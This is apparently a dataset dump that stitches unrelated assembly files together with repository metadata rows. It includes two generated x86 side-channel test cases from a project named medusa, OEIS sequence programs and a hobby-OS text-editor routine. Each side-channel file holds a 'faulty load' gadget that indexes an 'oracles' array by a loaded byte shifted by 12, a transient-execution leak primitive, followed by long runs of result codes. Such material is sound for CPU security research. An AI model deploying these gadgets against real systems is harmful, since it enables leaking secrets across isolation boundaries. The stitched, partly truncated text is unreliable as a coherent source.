00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.705882 | 2,999 | 0.656445 |
ac2ecab65ef616e802c9011aa328f15b26169e51 | 7,814 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_887.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_887.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_887.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x19cdd, %r8
clflush (%r8)
nop
nop
nop
dec %rax
mov (%r8), %ebp
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0x79fd, %r13
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r12
movq %r12, (%r13)
nop
inc %r12
lea addresses_D_ht+0x7035, %r8
nop
nop
nop
sub $60566, %r13
movl $0x61626364, (%r8)
nop
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0x11309, %rsi
lea addresses_WT_ht+0x4f35, %rdi
clflush (%rsi)
nop
nop
sub %r8, %r8
mov $125, %rcx
rep movsb
nop
nop
nop
add %r13, %r13
lea addresses_UC_ht+0x2b57, %rsi
lea addresses_D_ht+0x79a5, %rdi
nop
nop
dec %rbp
mov $59, %rcx
rep movsw
xor $40682, %rsi
lea addresses_WC_ht+0x3a35, %r12
cmp $10232, %rax
movups (%r12), %xmm7
vpextrq $1, %xmm7, %r8
nop
nop
and %r12, %r12
lea addresses_WC_ht+0x17035, %rbp
nop
nop
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
vmovups %ymm1, (%rbp)
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0x10575, %rcx
nop
nop
nop
nop
nop
cmp %r13, %r13
mov (%rcx), %si
nop
nop
add %rcx, %rcx
lea addresses_normal_ht+0x7735, %rdi
nop
nop
cmp %rax, %rax
mov $0x6162636465666768, %rbp
movq %rbp, %xmm2
vmovups %ymm2, (%rdi)
nop
inc %rdi
lea addresses_UC_ht+0x10635, %rcx
nop
dec %rbp
movb (%rcx), %al
sub %rsi, %rsi
lea addresses_normal_ht+0x14d65, %rsi
lea addresses_normal_ht+0x1cd35, %rdi
nop
nop
inc %r8
mov $56, %rcx
rep movsq
and $53134, %rbp
lea addresses_WT_ht+0x4d95, %rsi
nop
nop
nop
nop
nop
cmp $33021, %rax
movw $0x6162, (%rsi)
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_normal_ht+0x55b2, %rsi
lea addresses_WT_ht+0x13a35, %rdi
nop
nop
nop
nop
sub %rax, %rax
mov $29, %rcx
rep movsl
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0xafb5, %rsi
nop
add $19542, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%rsi)
nop
inc %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %r15
push %r9
push %rbx
// Store
lea addresses_normal+0x1fb5, %r14
clflush (%r14)
nop
cmp %r9, %r9
mov $0x5152535455565758, %rbx
movq %rbx, (%r14)
and $57126, %r9
// Faulty Load
lea addresses_D+0x1fe35, %r13
clflush (%r13)
nop
nop
nop
nop
sub %r10, %r10
movaps (%r13), %xmm2
vpextrq $0, %xmm2, %r9
lea oracles, %r15
and $0xff, %r9
shlq $12, %r9
mov (%r15,%r9,1), %r9
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': True, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 4, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.422907 | 2,999 | 0.657666 |
7a0697fd716c4c4e2a4bb17060b3c369e45f077a | 555 | asm | Assembly | oeis/017/A017748.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/017/A017748.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/017/A017748.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A017748: Binomial coefficients C(n,84).
; 1,85,3655,105995,2331890,41507642,622614630,8093990190,93080887185,961835834245,9041256841903,78083581816435,624668654531480,4660989191504120,32626924340528840,215337700647490344,1345860629046814650,7995995501984016450,45310641177909426550,245631370596035312350,1277283127099383624220,6386415635496918121100,30770911698303332765300,143151632683411156777700,644182347075350205499650,2808635033248526895978474,11882686679128383021447390,48851045236416685754839270,195404180945666743019357080
add $0,84
bin $0,84
| 92.5 | 491 | 0.908108 |
76f51c8944f502d51863b02b9ce9c9d44bf50050 | 1,645 | asm | Assembly | FlameOS/Filesystem/text-edit.pbin.asm | Th3Matt/FlameOS | 58c80646eea8c2f3140e45bf9aa5db368e0fac22 | [
"MIT"
] | null | null | null | FlameOS/Filesystem/text-edit.pbin.asm | Th3Matt/FlameOS | 58c80646eea8c2f3140e45bf9aa5db368e0fac22 | [
"MIT"
] | null | null | null | FlameOS/Filesystem/text-edit.pbin.asm | Th3Matt/FlameOS | 58c80646eea8c2f3140e45bf9aa5db368e0fac22 | [
"MIT"
] | null | null | null |
Text_edit:
pusha
mov byte [Shell.GraphicsType], 1
mov edi, Shell.ScreenRedraw
call edi
mov edi, IOPrint.SetXY
mov bl, 0
xor ax, ax
call edi
mov edi, IOPrint.Str
mov edx, 2
mov bh, 8Fh
mov esi, 0x30000+Text_edit2.new-Text_edit
call edi
mov edi, IOPrint.SetXY
mov bl, 0
xor ax, ax
mov al, 80-(Text_edit2.end-Text_edit2.PrgName)
call edi
mov edi, IOPrint.Str
mov edx, 2
mov esi, 0x30000+Text_edit2.PrgName-Text_edit
call edi
mov edi, IOPrint.SetXY
mov bl, 0
mov ah, 2
mov al, 4
call edi
xor ax, ax
mov [0x30000+Text_edit2.CursorX-Text_edit2], al
mov [0x30000+Text_edit2.CursorY-Text_edit2], al
mov al, [IOPrint.X]
mov di, ax
mov cl, [IOPrint.Y]
.YLoop:
dec cl
add di, 80
cmp cl, 0
jne .YLoop
dec di
shl di, 1
mov [0x30000+Text_edit2.Start-Text_edit2], di
mov ah, 0x0F
mov al, '/'
mov bl, [IOPrint.X]
mov bh, [IOPrint.Y]
mov edi, IOPrint.Chr
call edi
mov dword [Shell.GraphicsBuffer], DataFile1
mov ax, [0x30000+Text_edit2.Start-Text_edit2]
mov word [Shell.GraphicsBufferOffset], ax
mov edi, Shell.ScreenRedraw
call edi
jmp $
popa
ret
times 9*512-($-Text_edit) db 0
Text_edit2:
.new: db 'new'
times 80-($-.new) db ' '
db 0
.PrgName: db 'TextEdit', 0
.end:
.Start: dw 0
.CursorX: db 0
.CursorY: db 0
times 512-($-Text_edit2) db 0
| 17.315789 | 51 | 0.545897 |
c9aa44a3b7b0d28088f1d39b7f1b72c006779c09 | 1,414 | asm | Assembly | programs/oeis/069/A069834.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/069/A069834.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/069/A069834.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A069834: a(n) = n-th reduced triangular number: n*(n+1)/{2^k} where 2^k is the largest power of 2 that divides product n*(n+1).
; 1,3,3,5,15,21,7,9,45,55,33,39,91,105,15,17,153,171,95,105,231,253,69,75,325,351,189,203,435,465,31,33,561,595,315,333,703,741,195,205,861,903,473,495,1035,1081,141,147,1225,1275,663,689,1431,1485,385,399,1653,1711,885,915,1891,1953,63,65,2145,2211,1139,1173,2415,2485,639,657,2701,2775,1425,1463,3003,3081,395,405,3321,3403,1743,1785,3655,3741,957,979,4005,4095,2093,2139,4371,4465,285,291,4753,4851,2475,2525,5151,5253,1339,1365,5565,5671,2889,2943,5995,6105,777,791,6441,6555,3335,3393,6903,7021,1785,1815,7381,7503,3813,3875,7875,8001,127,129,8385,8515,4323,4389,8911,9045,2295,2329,9453,9591,4865,4935,10011,10153,1287,1305,10585,10731,5439,5513,11175,11325,2869,2907,11781,11935,6045,6123,12403,12561,795,805,13041,13203,6683,6765,13695,13861,3507,3549,14365,14535,7353,7439,15051,15225,1925,1947,15753,15931,8055,8145,16471,16653,4209,4255,17205,17391,8789,8883,17955,18145,573,579,18721,18915,9555,9653,19503,19701,4975,5025,20301,20503,10353,10455,21115,21321,2691,2717,21945,22155,11183,11289,22791,23005,5805,5859,23653,23871,12045,12155,24531,24753,1561,1575,25425,25651,12939,13053,26335,26565,6699,6757,27261,27495,13865,13983,28203,28441,3585,3615,29161,29403,14823,14945,30135,30381,7657,7719,31125,31375
add $0,2
bin $0,2
mov $1,$0
gcd $0,281474976710656
div $1,$0
| 157.111111 | 1,221 | 0.775813 |
627001192561a6aa26bfdea85a0dde490f1f44e9 | 557 | asm | Assembly | programs/oeis/140/A140356.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/140/A140356.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/140/A140356.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A140356: Triangle T(n,m) read by rows: m! if m <= floor(n/2), and (n-m)! otherwise.
; 1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,2,2,1,1,1,1,2,6,2,1,1,1,1,2,6,6,2,1,1,1,1,2,6,24,6,2,1,1,1,1,2,6,24,24,6,2,1,1,1,1,2,6,24,120,24,6,2,1,1,1,1,2,6,24,120,120,24,6,2,1,1,1,1,2,6,24,120,720,120,24,6,2,1,1,1,1,2,6,24
seq $0,4197 ; Table of min(x,y), where (x,y) = (0,0),(0,1),(1,0),(0,2),(1,1),(2,0),...
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
add $0,1
mov $1,1
add $1,$0
sub $1,2
mov $0,$1
| 50.636364 | 215 | 0.570916 |
afcd47a5982ff1bc1b616f98df8c42411ef53a46 | 7,508 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_831.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_831.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_831.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x18bd3, %r10
nop
inc %r8
mov $0x6162636465666768, %rbp
movq %rbp, (%r10)
nop
xor %r9, %r9
lea addresses_normal_ht+0x1a913, %r14
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov (%r14), %r15w
and %r9, %r9
lea addresses_D_ht+0x18ac7, %r10
clflush (%r10)
nop
nop
nop
nop
sub $43572, %rdi
movb $0x61, (%r10)
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_normal_ht+0x13a0, %rsi
lea addresses_A_ht+0xdcb3, %rdi
clflush (%rsi)
clflush (%rdi)
cmp $20562, %r9
mov $52, %rcx
rep movsb
dec %r14
lea addresses_normal_ht+0x15213, %rdi
nop
and $9428, %r14
mov (%rdi), %esi
xor $42162, %rcx
lea addresses_UC_ht+0x1b513, %rsi
lea addresses_WC_ht+0x1dd13, %rdi
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov $0, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %r8, %r8
lea addresses_UC_ht+0x5793, %rcx
xor %rdi, %rdi
mov $0x6162636465666768, %r14
movq %r14, (%rcx)
nop
nop
nop
nop
and $49817, %rdi
lea addresses_WC_ht+0x17f01, %r15
clflush (%r15)
nop
nop
nop
nop
inc %rdi
movl $0x61626364, (%r15)
inc %rbp
lea addresses_D_ht+0x14e13, %rbp
nop
nop
add $62826, %rcx
movl $0x61626364, (%rbp)
nop
nop
inc %rsi
lea addresses_WT_ht+0x1e513, %rdi
nop
nop
nop
xor %rbp, %rbp
mov (%rdi), %r10
nop
nop
sub %r9, %r9
lea addresses_UC_ht+0x4571, %r15
nop
nop
nop
sub $29025, %r9
and $0xffffffffffffffc0, %r15
movaps (%r15), %xmm1
vpextrq $1, %xmm1, %rcx
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x14d13, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $57886, %r9
mov $0x6162636465666768, %r8
movq %r8, (%rdi)
nop
nop
nop
nop
cmp $49916, %rcx
lea addresses_normal_ht+0x129a1, %rbp
nop
nop
nop
xor %r9, %r9
vmovups (%rbp), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r14
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x1518b, %r9
nop
nop
nop
nop
dec %r15
mov $0x6162636465666768, %r10
movq %r10, %xmm5
vmovups %ymm5, (%r9)
sub $14731, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r9
push %rbx
push %rsi
// Faulty Load
lea addresses_normal+0x18513, %r10
nop
nop
nop
xor $13010, %r13
mov (%r10), %bx
lea oracles, %rsi
and $0xff, %rbx
shlq $12, %rbx
mov (%rsi,%rbx,1), %rbx
pop %rsi
pop %rbx
pop %r9
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 